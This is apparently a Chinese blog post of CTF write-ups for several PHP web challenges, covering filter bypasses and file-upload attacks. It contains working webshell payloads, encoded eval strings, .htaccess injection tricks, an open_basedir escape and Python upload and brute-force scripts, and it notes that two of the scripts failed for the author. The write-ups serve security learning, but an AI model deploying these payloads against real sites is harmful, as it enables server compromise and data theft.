[极客大挑战 2019]RCE ME

通过取反urlencode

C:\Users\Administrator> php -r "echo urlencode(~'phpinfo');"
%8F%97%8F%96%91%99%90

发现执行命令的函数都被ban了。
先用传个马用蚁剑连上,

<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[hack]))';
$d=urlencode(~$c);
echo $d;
?>

payload:

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%97%9E%9C%94%A2%D6%D6);

连上之后可以直接通过蚁剑的disable_functions直接绕过
具体的原理放个链接

[SUCTF 2019]EasyWeb

有长度限制的无数字字母写shell,主要参考链接
这里采用异或绕过

<?php
$l = "";
$r = "";
$argv = str_split("_GET");  ##将_GET分割成一个数组,一位存一个值
for($i=0;$i<count($argv);$i++){   
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(255);    ##进行异或         
        if($k == $argv[$i]){
            if($j<16){  ##如果小于16就代表只需一位即可表示,但是url要求是2位所以补个0
                $l .= "%ff";
                $r .= "%0" . dechex($j);
                continue;
            }
            $l .= "%ff";
            $r .= "%" . dechex($j);
        }
    }}
echo "\{$l`$r\}";  ### 这里的反引号只是用来区分左半边和右半边而已
?>

为突破题中的上传的限制,这里采用的是上传.htaccess,
最后对 ```python
import requests
import base64
url="http://27599faf-aa11-40af-82aa-79ff4bc28fe5.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
htaccess=b"""\x00\x00\x85\x48\x85\x18
AddType application/x-httpd-php .test
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/1.test" ##这里需要替换为自己上传的文件名
"""
shell=b"GIF89a"+b"aa"+base64.b64encode(b"<?php @eval($_GET[cmd])?>") #aa为了满足base64算法凑足八个字节

#first_upload ---- to upload .htaccess

files1={
'file':('.htaccess',htaccess,'image/jpeg')
}
r1=requests.post(url=url,files=files1)
print (r1.text)

#second_upload ---- to upload .shell
#
files2={
'file':('1.test',shell)
}
r1=requests.post(url,files=files2)
print (r1.text)

<pre><code class="line-numbers">最后对open_dir的绕过可参考[这个](https://www.163.com/dy/article/ECQSCP9E0511CJ6O.html "这个")
**payload:**
```php
/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/1.test?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));

[RoarCTF 2019]Simple Upload

tp的文件上传漏洞,非预期解直接用<>绕过了

payload
url = "url/index.php/home/index/upload/"
s = requests.Session()
files = {"file": ("shell.<>php", "<?php eval($_GET['cmd'])?>")}
r = requests.post(url, files=files)
print(r.text)

但不知道为什么我没成功。
预期解是利用tp多文件上传+方法的错误使用造成的漏洞

upload() 函数不传参时为多文件上传,整个 $_FILES 数组的文件都会上传保存。
使用的是uniqid来生成文件名,同时上传txt文件跟php文件,txt上传后的文件名跟php的文件名非常接近。我们只需要构造Burp包,遍历爆破txt文件名后三位 0-9 a-f 的文件名,就能猜出php的文件名。

最后的payload(来自penson by 小乌师傅)

import requests
url = 'http://598b202c-5c60-4a06-b5a1-83ef646f7a82.node3.buuoj.cn/index.php/home/index/upload'
s = requests.Session()

file1 = {"file":("shell","123",)}
file2 = {"file[]":("shell.php","<?php @eval($_POST[penson]);")} #批量上传用[]
r = s.post(url,files=file1)
print(r.text)
r = s.post(url,files=file2)
print(r.text)
r = s.post(url,files=file1)
print(r.text)

'''爆破'''

dir ='abcdefghijklmnopqrstuvwxyz0123456789'

for i in dir:
    for j in dir:
        for k in dir:
            for x in dir:
                for y in dir:
                    url = 'http://598b202c-5c60-4a06-b5a1-83ef646f7a82.node3.buuoj.cn/Public/Uploads/2020-06-01/5ed4adac{}{}{}{}{}'.format(i,j,k,x,y)
                    print(url)
                    r = requests.get(url)
                    if r.status_code == 200:
                        print(url)
                        break

然鹅我还是没成功。。。。。。

[HarekazeCTF2019]Avatar Uploader 1

利用不同函数的处理机制不同的绕过。

在检查文件类型时,finfo_file()函数检测上传图片的类型是否是image/png
在检查文件长宽时,getimagesize() 函数用于获取图像大小及相关信息,成功将返回一个数组,
Array
(
    [0] => 290
    [1] => 69
    [2] => 3
    [3] => width="290" height="69"
    [bits] => 8
    [mime] => image/png
)

finfo_file会检查第一行十六进制的内容进行判断而getimagesize不会,因此可以把png图片的十六进制格式除第一行以外都删掉就可以绕过。

[SUCTF 2018]GetShell

存在black_list,先fuzz一下(脚本来自末初)

# -*- coding:utf-8 -*-
# Author: m0c1nu7
import requests

def ascii_str():
    str_list=[]
    for i in range(33,127):
        str_list.append(chr(i))
    #print('可显示字符:%s'%str_list)
    return str_list

def upload_post(url):
    str_list = ascii_str()
    for str in str_list:
        header = {
        'Host':'3834350a-887f-4ac1-baa4-954ab830c879.node3.buuoj.cn',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0',
        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Accept-Encoding':'gzip, deflate',
        'Content-Type':'multipart/form-data; boundary=---------------------------339469688437537919752303518127'
        }
        post = '''-----------------------------339469688437537919752303518127
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

12345'''+str+'''
-----------------------------339469688437537919752303518127
Content-Disposition: form-data; name="submit"

提交          
-----------------------------339469688437537919752303518127--'''

        res = requests.post(url,data=post.encode('UTF-8'),headers=header)
        if 'Stored' in res.text:
            print("该字符可以通过:  {0}".format(str))
        else:
            print("过滤字符:  {0}".format(str))



if __name__ == '__main__':
    url = 'http://3834350a-887f-4ac1-baa4-954ab830c879.node3.buuoj.cn/index.php?act=upload'
    upload_post(url)

能冲的字符有

$、(、)、.、;、=、[、]、_、~

看来是要用汉字写马了,
先把汉字用ascii编码显示,取其中的一个字符进行取反,得到我们想要的字母,

echo ~茉[$____];//s
echo ~内[$____];//y
echo ~茉[$____];//s
echo ~苏[$____];//t
echo ~的[$____];//e
echo ~咩[$____];//m
echo ~课[$____];//P
echo ~尬[$____];//O
echo ~笔[$____];//S
echo ~端[$____];//T
echo ~瞎[$____];//a
payoad:
<?=$_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);

[ISITDTU 2019]EasyPHP

这题是真他娘的恶心!!!参考
取反或异或写马,先看看phpinfo,发现disable_function过滤了一片,open_basedir还开了限制,只能尝试用scandir和print_r的组合了。
预计payload:

print_r(scandir('.'));==((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

但是对字符种类的限制绕不过去,还要写别的脚本来删

result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c]  # Original chars,11 total
result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c]  # to be deleted
temp = []
for d in result2:
    for a in result:
        for b in result:
            for c in result:
                if (a ^ b ^ c == d):
                    if a == b == c == d:
                        continue
                    else:
                        print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
                        if d not in temp:
                            temp.append(d)
print(len(temp), temp)

删除后能发现一个可能有flag的文件,读取即可

payload:
show_source(end(scandir(.)));=((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

[XNUCA2019Qualifier]EasyPHP

由于文件内容存在过滤,我们不能直接把auto_prepend_file写进.htaccess,
但是我们可以通过.htaccess把error_log中的信息写进fl3g.php,那么把马写进error_log,又因为fl3g.php被包含,就成功把马写进了初始页面。
这里的报错可以通过设置include_path到一个不存在的文件夹即可触发包含时的报错,且include_path的值也会被输出到屏幕上。
最后的脏字符可以用#注释

payload:
php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
#

这里还有个问题,就是error_log中的数据是经过htmlentities处理的,无法直接用<\?,
这样的话我们可以用UTF-7编码来绕过

php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value include_path "/tmp"
#

标签: none

添加新评论